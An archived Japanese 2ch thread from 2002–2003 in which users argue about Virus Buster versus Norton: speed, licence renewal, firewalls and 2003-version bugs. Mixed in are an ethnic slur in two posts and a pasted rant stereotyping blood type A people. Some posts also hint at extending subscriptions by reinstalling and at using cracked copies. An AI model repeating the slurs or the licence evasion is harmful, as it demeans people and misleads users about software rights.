あと、zipからウイルス取り除いてくれる機能があるのってバスターだっけ?
あのzip→解凍→検索→ウイルス発見→駆除→再圧縮 ってヤツ

843 :名無しさん@お腹いっぱい。:02/08/22 21:47
どっちでもおなじ。
以上。

844 :名無しさん@お腹いっぱい。:02/08/22 21:57
F-Secureってどうよ。

845 :名無しさん@お腹いっぱい。:02/08/23 14:01
結局バスター買っちゃった。

846 :名無しさん@お腹いっぱい。:02/08/31 11:12
 

847 :名無しさん@お腹いっぱい。:02/09/01 03:29
無料ウイルスソフトのAVG AntiVirusって知ってます?
いいウワサでも悪いウワサでもいいので知ってたら聞かせてください。
http://www.grisoft.com/

848 :名無しさん@お腹いっぱい。:02/09/02 17:42
>>847 【フリー】AVG Anti-Virus Version3
http://pc.2ch.net/test/read.cgi/sec/1028117622/

http://pc.2ch.net/test/read.cgi/sec/1018966825/
http://pc.2ch.net/test/read.cgi/sec/1001835534/

849 :名無しさん@お腹いっぱい。:02/09/02 21:11
バスターはスキャンに発狂しそうになるほど時間がかかります。
やっぱりノートソです。

850 :名無しさん@お腹いっぱい。:02/09/10 15:21
age

851 :名無しさん@お腹いっぱい。:02/09/21 04:20
hage

852 :名無しさん@お腹いっぱい。:02/09/23 16:40
脳豚糞重いAuto-Protectってやつ俺の環境じゃパソコンたち上げるのに五分もかかった。
速攻アンインスコしてバスターに変えたらリアルタイム検索のほうが軽かったよ。
バスター重い、重いとかよくカキコ見るけどそうでも無いじゃん。
ちなみに
スペックは
CPU:Pen4 1.70Ghz
メモリ: 256MB
OS:WinXPホーム

853 :ぷちこ:02/09/23 16:43
>>852
( ゚д゚)ポカーン まじ??
ちなみに
W98SE
立ち上げ2分ちょい
CPU P3 550


854 :852:02/09/23 16:46
>>853
マジ

855 :ぷちこ:02/09/23 17:15
まじ

856 :名無しさん@お腹いっぱい。:02/09/24 09:12
バスターでなくてノートンを選ぶ理由に
定義ファイルの更新が1年を過ぎてもできるってのは
ありますか?

857 :名無しさん@お腹いっぱい。:02/09/27 21:26
ageとこう

858 :名無しさん@お腹いっぱい。:02/09/27 21:27
http://yahooo.s2.x-beat.com/

859 :名無しさん@お腹いっぱい。:02/09/27 21:32
まぁ、どっちも2003に移行するかどうかと
Win2ksp3対応にゃ色々とあるようで

860 :名無しさん@お腹いっぱい。:02/10/11 18:43
質問させて下さい。
バスターは年会費払ってれば最新バージョンを使えます(2001→2002→2003)が、
ノートンもそういう風なシステムになってるんですか?

シマンテックのサイトとか見ても明記されてないし、アップグレードパッケージを販売するあたり、バスターと違って買い換えなきゃいけないのかなと不安になってます。

861 :名無しさん@お腹いっぱい。:02/10/11 19:02
>>860
なぜ不安になるのか疑問。
ダウンロードしようが、箱を買おうが、
どちらも、新しいライセンスを購入するだけだと思うが。

862 :名無しさん@お腹いっぱい。:02/10/11 19:07
>>860
ノートンに年会費制度はない。
更新代(延長のみ)、又はアップグレード代、
又は店頭販売のアップグレードパッケージを買って
製品の延長やアップグレードをしなくてはいけない。

でもその料金が割と高い。製品値段の半分以上だった(うろ覚え)

863 :名無しさん@お腹いっぱい。:02/10/11 20:52
>>862
なるほどです。分かりました。ありがとうございます。

>>861
>どちらも、新しいライセンスを購入するだけだと思うが。

ちょっと違うと思う。

>なぜ不安になるのか疑問。

だから、訳が分からなかったからです。

あなたの書き込みは答えにもなってないし全然的を得ていません。
わざわざどうもでした。

864 :名無しさん@お腹いっぱい。:02/10/11 21:02
「的を得る」キターーーーーーーーーー

865 :名無しさん@お腹いっぱい。:02/10/11 21:05
「的を得る」 テストの回答だと零点

866 :cheshire-cat ◆PhCATJR.v6 :02/10/11 21:27
回答者は様々な経験を積んでいて、それ相応の経験を積んでそれそうおうの見解を持っているものだと思うけど。
こゆ訳わからんお方からいじられると、めげるよねん。

>>861
がんば。

867 :861:02/10/11 21:29
>>863
どちらも購入しているのはソフトウェアの所有権ではなく、使用権だと思うが。
メインでない付加価値のほうに惑わされてないか?

868 :861:02/10/11 22:45
スマソ。よく考えたら熱くなるところではなかった。
要は、各々が、好きなのを選べばそれでいいのではないか。

869 :名無しさん@お腹いっぱい。:02/10/12 18:38
ノートンとバスター、それぞれのユーザーさんに聞きたいのですが、
今使ってるのを選んだ理由は何ですか?
自分はノートンですが、バスターはFWが弱いって聞いたので
これにしましたが。

870 :名無しさん@お腹いっぱい。 :02/10/13 16:39
>>869
当たりです

871 :名無しさん@お腹いっぱい。:02/10/13 23:40
コスト優先ならウィルスバスターがいいですよ
パターンファイルはCDでもWEBからでもダウンできるし
もし年契切れても色んなやりかたでアップデートできないことはないから
安心です

872 :名無しさん@お腹いっぱい。:02/10/14 02:20
>>871
コストの本来の意味わかってる?
C/P比というのもあるよ。

873 :名無しさん@お腹いっぱい。:02/10/14 02:27
どれもおなじ。使えるようになれば。

874 :名無しさん@お腹いっぱい。:02/10/14 08:31
Nは(・∀・)イイネ!!

875 :名無しさん@お腹いっぱい。:02/10/14 17:16
バスター最強です。

876 :名無しさん@お腹いっぱい。:02/10/14 17:49
埼京線、雨に弱いからなぁ...

877 :名無しさん@お腹いっぱい。:02/10/16 21:01
メール検索に限って言えばバスターのほうが好き。

878 :名無しさん@お腹いっぱい。:02/10/16 23:45
>>877
寝た?

879 :名無しさん@お腹いっぱい。:02/10/17 03:00
>>877
いい夢を見てください。

880 :名無しさん@お腹いっぱい。:02/10/17 16:54
>>1
どっちもどっち

〜〜〜〜〜〜〜〜〜終了〜〜〜〜〜〜〜〜〜

881 :名無しさん@お腹いっぱい。:02/10/18 11:22
kept

882 :名無しさん@お腹いっぱい。:02/10/18 11:25
ノートンだと、更新キー購入後にOSやソフト自体の再インストールをして
しまった場合、また更新キーを購入しなおさなければならない・・・。

バスターだと、再インストールするはめになっても、再度キーをもらえる。

この差は大きくないの?

883 :名無しさん@お腹いっぱい。:02/10/18 11:30
>>882
さあ?、自分で判断してよ。再インストールの度合いと日常的な使い勝手など
判断基準は人それぞれでしょ。


884 :名無しさん@お腹いっぱい。:02/10/18 11:35
>>882
ノートンの場合はレジストリをバックアップしてから再インストールすればよい

885 :名無しさん@お腹いっぱい。:02/10/18 16:06
>882
購入?

886 :名無しさん@お腹いっぱい。:02/10/18 17:35
トロイにはどっちが強いの?

887 :名無しさん@お腹いっぱい。:02/10/18 17:47
>>886
どっちも弱い

888 :名無しさん@お腹いっぱい。:02/10/18 18:17
バスター最強
ノートン最弱

889 :名無しさん@お腹いっぱい。:02/10/18 18:31
埼京線、雨に弱いからなぁ...

890 :名無しさん@お腹いっぱい。:02/10/18 23:30
バスとノトンてどっちが売れてるの?

891 :名無しさん@お腹いっぱい。:02/10/18 23:41
NIS2003出たね
皆の衆店にGOでっか?

ちなみに俺はNIS2002の購読期間があるのでまだ買いません。。。

892 :名無しさん@お腹いっぱい。:02/10/19 00:26
>>890
日本ではバスターがシェアNo1です。


893 :はい:02/10/19 00:35
やすいからさー


894 :名無しさん@お腹いっぱい。:02/10/24 22:19
また最近ノトン厨ば騒ぎ出した

895 :名無しさん@お腹いっぱい。:02/10/25 00:34
と、バスタ厨のたまいける

896 :名無しさん@お腹いっぱい。:02/10/25 00:41
>>891
購読期間なぞOS再インスコすればいくらでも延びるZEEEEEEEEEEEEE

897 :名無しさん@お腹いっぱい。:02/10/25 07:02
バスターはノートンよりも検出数、最新ワクチンの更新がダントツに優れている。
FWに関して、ノートンはバスターよりも細かく設定できるが、Freeには勝てない。
(ノートンはKerioのレベルダウンFW、バスターはZoneAlarmのレベルダウンFWって感じ)

898 :名無しさん@お腹いっぱい。:02/10/25 12:46
昔、ノトンとバスタ両方放り込んで、怪しいサイトからダウソロードしまくったことがあるが、検知はノトンの方が早かった。
最近も1台ずつ入れて、ダウソロードしまくって遊んだがノトンの方が早かった気がする。
ってかバスタ感染したら手動じゃないと完全に削除できないのがあったりと使いにくいと思うが・・・・

899 :名無しさん@お腹いっぱい。:02/10/25 18:04
>>897
ダントツって......

今は危険度の高いウィルスについて、アンチウィルスメーカー同士、世界規模で
レポートし合ってる(The Wildlist)ので、そういった意味では大差なし。
違ってくるとすれば、エンジンの違いによる、検出のタイミングと駆除能力。
ファイアウォールは、どちらの製品も、期待する方がよろしくない。

いずれを選んでも、ライセンス期間中に1〜2度はトラブルを起こすかもしれない。
その時に推薦者を恨まぬよう、自己責任で好きな方を選んで使うのがよい。

900 :名無しさん@お腹いっぱい。:02/10/25 19:24
>>899
禿銅
ということで900かな

901 :もろこし:02/10/25 23:54
>>898
 漏れは全く逆の結果が出たよ。バスターの方がウイルス検出が速かった。
 ファイアーウォールも同じ。・・・バスターが一番最初に検知してブロックするので、ノートンの出る幕はなかった。

 人によって異なる結果が出るのは当然。 
 PCもOSも違うし、設定も違う。ネットの環境も異なるし・・・・・。


902 :名無しさん@お腹いっぱい。:02/10/26 00:47
TrendMicroは米国防省とハッカー対策の契約しましたな。
2週間も前の話だが。

903 :名無しさん@お腹いっぱい。:02/10/26 01:04
マッチポンプで大信者け。
バカもチョンもネットに接続するご時世。
いい時代になりましたなあ。

904 :名無しさん@お腹いっぱい。:02/10/26 02:13
エムックスというツールでノートンがあったのでインストールしてみたのだけど、
なかなかいいツールですね!!

905 :名無しさん@お腹いっぱい。:02/10/26 02:36
>>904
割れ厨消え失せろ

906 :名無しさん@お腹いっぱい。:02/10/26 04:34
>>904
呪いの割れソフトをインストールしたものは7日後に

907 :名無しさん@お腹いっぱい。:02/10/26 04:55
>>904
33バイトに泣くがいい

908 :名無しさん@お腹いっぱい。:02/11/08 17:38
age

909 :名無しさん@お腹いっぱい。:02/11/09 21:58
>>842
>あと、zipからウイルス取り除いてくれる機能があるのってバスターだっけ?
>あのzip→解凍→検索→ウイルス発見→駆除→再圧縮 ってヤツ
VBデツ

脳豚はまだ対応していないのかYO

漏れはVB使ってますが、WebTrapとURLフィルタをオンするとエクスプローラーが固まる(鬱

910 :名無しさん@お腹いっぱい。:02/11/16 02:08
1年以上も話し合っているのか・・・

911 :名無しさん@お腹いっぱい。:02/11/24 00:46
 

912 :名無しさん@お腹いっぱい。:02/11/24 00:50
ノトンは隔離するときZIPからウイルスのバイナリ抽出して隔離してたような。。。


913 :名無しさん@お腹いっぱい。:02/11/24 01:47
>>912
バスターも同じでは?

914 :名無しさん@お腹いっぱい。:02/11/25 23:32
Nortonは2003になったらかなりよくなりました。(Internet Security

915 :名無しさん@ウイルスいっぱい。:02/11/26 00:08
既出だったらすみません。
ノートンインターネットセキュリティ2002を使っているのですが、
システムリソースが不足していますなどエラーが発生し、
パフォーマンスを見ると10%を切ってしまう状態になります。
ウイルスバスターでも同じ症状が出るのでしょうか?
教えてください。

916 :名無しさん@お腹いっぱい。:02/11/26 04:05
>>915
うん。
つーか、リソース消費するのはウィルス対策ソフトだけではない。

917 :名無しさん@ウイルスいっぱい。:02/11/26 04:38
>>916
ノートンを入れる前と入れた後では、はっきりと違いがあるのです。

918 :名無しさん@お腹いっぱい。:02/11/26 04:46
>>917
体験版あんだから入れてみれ
こっちはあんたの環境を再現できないんだからさ

919 :名無しさん@お腹いっぱい。:02/11/26 05:09
以前ノートンを使っていたが今はバスター、どうやら俺のPCとノートンが
かみ合わない。システムの復元をする度に、ファイルを破壊する。ああ恐ろしいノートン。

920 :名無しさん@お腹いっぱい。:02/12/09 22:33
ノトン2002期限切れそうなんで2003買うまでのあいだバスタ体験入れるつもりだけどなんか気をつけることある会?

921 :名無しさん@お腹いっぱい。:02/12/09 22:43
>>920
気をつける事 → 2003は買わない
http://pc.2ch.net/test/read.cgi/sec/1038736975/
http://pc.2ch.net/test/read.cgi/sec/1037822358/


922 :名無しさん@お腹いっぱい。:02/12/10 02:25
NAV2002使っているのですが、Live Updateのアイコンが1さんの頭に見えて困ります。
(http://www.ankohouse.com/j/Game1/u_8monar_myCharFile1.gif)

923 :名無しさん@お腹いっぱい。:02/12/10 22:32
(( ))

↑これのことね。

924 :名無しさん@お腹いっぱい。:02/12/18 00:14
VBのお試し期間終わったのですがまたお試し出来ますか?


925 :名無しさん@お腹いっぱい。:02/12/18 18:27
>>924
無理

926 :名無しさん@お腹いっぱい。:02/12/19 18:37
買え!

927 :名無しさん@お腹いっぱい。:02/12/21 23:22
いいかげん追われよ。何年保守するつもりだよ

928 :名無しさん@お腹いっぱい。:02/12/22 03:10

そろそろ、、、でしょうか? >甲冑くん

929 :名無しさん@お腹いっぱい。:02/12/22 04:10
>>924
それ、簡単だよ。それはネ……バタッ zzzz

930 :名無しさん@お腹いっぱい。:02/12/22 06:56
バスター2003体験版入れた
ブラウザ起動してリンクをクリックすると強制リセットの嵐!
これ相性なんでしょうか

931 :名無しさん@お腹いっぱい。:02/12/22 13:56
>930
windowsは何?

932 :930:02/12/22 17:51
OSはXP Homeです
削除したら元に戻りました

933 ::02/12/23 02:56
bn

934 :名無しさん@お腹いっぱい。:02/12/24 12:47


935 :名無しさん@お腹いっぱい。:02/12/26 17:08
俺は以前ウィルスバスター2002を入れてたが、今回ノートン2003を入れようと
電気屋に行ったんだよ。そこで若い店員の兄ちゃんに、バスター2003とノートン2003
どっちが良いですか?と聞いたら、やっぱノートン2003の方がお勧めです。と言うから
ノートン2003買ったんですよ。そして家に帰り早速ノートン2003をインストールしたんですよ。
そしたらウイルスに反応してるんですよ。は?何で?よく考えてみたらメモ帳にウィルスのソースを
コピペして置いといたんですよ。早速消去してインストールしなおしたら重すぎて
インストール中にフリーズしまくり。最悪でした。しょうがなくバスター2003を買って
インストールしました。素直に入ってくれました。とりあえずクソノートンは頭にきて
捨てました。もう2度とノートンは入れません。最悪の出来事でした。

936 :名無しさん@お腹いっぱい。:02/12/26 19:35
>>935
しょぼいパソコソ・・・

937 :世直し一揆:02/12/27 18:29
<血液型A型の一般的な特徴>(見せかけの優しさ(偽善)に騙されるな!)
●とにかく気が小さい(神経質、臆病、二言目には「世間」)
●他人に異常に干渉する(しかも好戦的・ファイト満々でキモイ)
●自尊心が異常に強く、自分が馬鹿にされると怒るくせに平気で他人を馬鹿にしようとする
(ただし、相手を表面的・形式的にしか判断できず(早合点・誤解の名人)、実際にはたいてい、内面的・実質的に負けている)
●「常識、常識」と口うるさいが、実はA型の常識はピントがズレまくっている(日本の常識は世界の非常識)
●権力、強者(警察、暴走族…etc)に弱く、弱者には威張り散らす(強い者に弱く、弱い者には強い)
●あら探しだけは名人級(例え10の長所があってもほめることをせず、たった1つの短所を見つけてはけなす)
●基本的に悲観主義でマイナス思考に支配されているため、性格がうっとうしい(根暗)
●一人では何もできない(群れでしか行動できないヘタレ)
●少数派の異質、異文化を排斥する(差別主義者)
●集団によるいじめのパイオニア&天才(陰湿&陰険)
●悪口、陰口が大好き(A型が3人寄れば他人の悪口、裏表が激しい)
●他人からどう見られているか、体裁をいつも気にしている(「世間体命」、「〜みたい」とよく言う)
●自分の感情をうまく表現できず、コミュニケーション能力に乏しい(同じことを何度も言う、知障)
●表面上意気投合しているようでも、腹は各自バラバラで融通が利かず、頑固(本当は個性・アク強い)
●人を信じられず、疑い深い(自分自身裏表が激しいため、他人に対してもそう思う)
●自ら好んでストイックな生活をし、ストレスを溜めておきながら、他人に猛烈に嫉妬する(不合理な馬鹿)
●執念深く、粘着でしつこい(「一生恨みます」タイプ)
●自分に甘く他人に厳しい(自分のことは棚に上げてまず他人を責める。しかも冷酷)
●男は、女々しいあるいは女の腐ったみたいな考えのやつが多い


938 :名無しさん@お腹いっぱい。:02/12/27 19:10
>>935
 ノートンの方が値段が高いから、売り手の利益も上がる。
 当然ショップの兄ちゃんはノートンを勧めるだろうね。

939 :名無しさん@お腹いっぱい。:02/12/28 01:00
ノートンもバスターも変わらなかったぞ<値段



940 :名無しさん@お腹いっぱい。:02/12/28 01:32
ノートソよりバスターのほうが重くないか?
漏れはお金かけたくないからフリーの使ってるからどっちでもいいんだけどw

941 ::02/12/28 03:55
未だ付きそうにないですね〜(w

942 :名無しさん@お腹いっぱい。:02/12/28 05:41
ノートン派だが、どっちも2003は危ないみたいだな。バグがあって。
その上重い。

943 : :02/12/29 18:47
NISの優待パッケージってありますよね
あれって通常のパッケージとどう違うんですか?

944 :cheshire-cat ◆PhCATJR.v6 :02/12/29 19:42
>>943
同じ

945 :名無しさん@お腹いっぱい。:02/12/29 21:33
>>943
漏れは、シマンテックの製品や他社アンチウイルスソフトなんて持ってないのに、
普通に「優待」パッケージ買えたぞ。一体どういうことだ・・・
これじゃあ通常版買う必要ありませんよね。中身は同じで値段だけ無駄に高いわけだし。
ちなみにヤマダ電機で6,300円。(税別)バスターと、さほど変わらん。
で、入れてみたけ。バスターの糞さが嫌になるほど分かった。
バスターだと、リアルタイム検索切らないと糞重くてネットもできない程だたけど、
ノートンは軽い。通信速度の低下は微々。重いアプリ複数起動しても問題なし。
ノートンが糞とか言ってるやつは、自分のPCのスペックの低さをノートンのせいにしてるだけ。
>>935の店員の言ってることは正しい。


946 :名無しさん@お腹いっぱい。:02/12/29 21:34
↑誤字スマソ

947 :cheshire-cat ◆PhCATJR.v6 :02/12/29 21:36
>>945
一応バスターとノートン、両方使ってる身として一言。

バスターは2002なら、問題は無いんすよ。。。。。。。
2003の不具合連発ってのが、異常なほどで。

948 :945:02/12/29 21:42
バスター体験版なら2002、2003共使ったことある。
2002なら問題は無いです。それでも僕がノートンに変えた理由は、
バスターのデザインの悪さに耐え切れなくなったから。


949 :cheshire-cat ◆PhCATJR.v6 :02/12/29 22:04
>>948
デザインの悪さかぁ。。。。。
一応ですね、機能とデザインの相関のみで、安心できるってものでもないんですけどね。。。

バスターの利点として、日本国内のマイナーなウイルスとかトラップとかに、いち早く対処してるって点ですけどねん。
まぁとりあえず、サブとして利用してみてくだされ。

950 :名無しさん@お腹いっぱい。:02/12/31 20:13
>>951 

次スレよろ 

【2003対決】 バスターVSノートン 【結局どっち?】


951 :名無しさん@お腹いっぱい。:02/12/31 20:18
次スレです。

【2003対決】バスターVSノートン ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/



952 :名無しさん@お腹いっぱい。:03/01/09 23:10
摘め建てせよ
1000GET宗教呼んでこい

953 :名無しさん@お腹いっぱい。:03/01/09 23:16
(´∀` )じゅーてむじゅてーむ♪

954 :名無しさん@お腹いっぱい。:03/01/11 04:39
積め建て


955 :名無しさん@お腹いっぱい。:03/01/11 04:40
積め建て

956 :セキュリティと言えば:03/01/12 19:27
イスラエルのラドウェアの製品はどう?

957 :山崎渉:03/01/15 15:42
(^^)

958 :名無しさん@お腹いっぱい。:03/01/17 23:28
あげ

959 :名無しさん@お腹いっぱい。:03/01/30 17:55
        まもなくここは 乂1000取り合戦場乂 となります。

      \∧_ヘ     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ,,、,、,,, / \〇ノゝ∩ < 1000取り合戦、いくぞゴルァ!!       ,,、,、,,,
    /三√ ゚Д゚) /   \____________  ,,、,、,,,
     /三/| ゚U゚|\      ,,、,、,,,                       ,,、,、,,,
 ,,、,、,,, U (:::::::::::)  ,,、,、,,,         \オーーーーーーーッ!!/
      //三/|三|\     ∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ∪  ∪       (    )    (     )   (    )    )
 ,,、,、,,,       ,,、,、,,,  ∧_∧∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ,,、,、,,,       (    )    (    )    (    )    (    )

960 :名無しさん@お腹いっぱい。:03/02/08 20:06
脳dカコ(・∀・)イイ!!

961 :名無しさん@お腹いっぱい。:03/02/08 20:44
>>959
 一人で張り切ってる ヴァカ 発見。

962 :名無しさん@お腹いっぱい。:03/02/14 03:25
V3ウイルスブロックを使ってます。やっぱ安いのが良いでしょ。

963 :名無しさん@お腹いっぱい。:03/02/14 04:43
>>962
死ねやチョン

964 :古いスレageんな:03/02/14 08:12

【2003対決】バスターVSノートン ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/

965 :sage:03/02/18 00:40
sage

966 :名無しさん@お腹いっぱい。:03/02/22 13:02
落ちろってば

967 :名無しさん@お腹いっぱい。:03/03/03 21:30
>906-907 が気になるんですが、これって何ですか?

968 :名無しさん@お腹いっぱい。:03/03/03 21:44
>>967
まんきんだよ。ファイルを全て33バイトにする。詳しくはダウソ板で聞け。

969 :967:03/03/04 10:17
>968
ありがとう。「まんきん」分りました。
自分はバスターですが、割れノートンに仕組まれてるって事でもないみたいですね。


970 :sage:03/03/13 13:05
sage

971 :名無しさん@お腹いっぱい。:03/03/23 19:17
おちなと

972 :名無しさん@お腹いっぱい。:03/03/29 23:23
もうおちてよ

973 :名無しさん@お腹いっぱい。:03/03/31 08:21
スコット・ノートン最強

974 :名無しさん@お腹いっぱい。:03/03/31 08:49
次スレ

【2003対決】バスターVSノートン ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/
【2003対決】バスターVSノートン ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/

975 :名無しさん@お腹いっぱい。:03/04/06 18:48
 

976 :名無しさん@お腹いっぱい。:03/04/16 03:53


977 :山崎渉:03/04/17 12:03
(^^)

978 :名無しさん@お腹いっぱい。:03/04/19 12:01
 

979 :980:03/04/19 17:17
 

980 :名無しさん@お腹いっぱい。:03/04/19 17:19
挙げ荒らしウザイ

981 :名無しさん@お腹いっぱい。:03/04/19 17:20
次スレ

【2003対決】バスターVSノートン ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/
【2003対決】バスターVSノートン ウイルス2個目
http://pc.2ch.net/test/read.cgi/sec/1041333463/

982 :CSI:03/04/19 17:32

まじめに恋愛を考える、真剣なあなたのためにこのサイトを作りました。
http://www.h5.dion.ne.jp/~psysys/index.html


983 :山崎渉:03/04/20 05:59
   ∧_∧
  (  ^^ )< ぬるぽ(^^)

984 :名無しさん@お腹いっぱい。:03/04/20 18:49
ノートンもバスターもセキュリティーホール煽らないと誰も買わないからなぁ。

236 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)